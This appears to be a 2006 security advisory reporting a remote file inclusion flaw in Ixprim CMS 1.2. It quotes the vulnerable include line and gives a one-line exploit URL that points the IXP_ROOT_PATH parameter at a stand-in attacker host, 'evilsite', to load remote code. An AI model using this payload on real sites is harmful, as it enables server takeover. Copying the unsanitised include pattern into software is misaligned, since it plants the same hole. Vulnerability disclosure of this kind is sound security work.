Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

phpPC 1.04 Multiples Remote File Inclusion

Pearl Forums 2.4 Multiple Remote File Include Vulnerabilities

PhotoCart 3.9 (adminprint. php) Remote File Include Vulnerability

Vulnerability in PostNuke

From:	vitux.manis_(at)_gmail.com <vitux.manis_(at)_gmail.com>
Date:	22.11.2006
Subject:	Ixprim CMS 1.2 Remote File Include Vulnerability

Aplication : Ixprim CMS 1.2

URL :
http://optusnet.dl.sourceforge.net/sourceforge/ixprim/ixprim-1.2-200603171800.zip


variable ixpts.class.php

include_once( IXP_ROOT_PATH.'/kernel/class/files.class.php' );

Exploit :  http://www.vuln.com/kernel/class/ixpts.class.php?IXP_ROOT_PATH=http://evilsite

vitux

#vitux.manis@gmail.com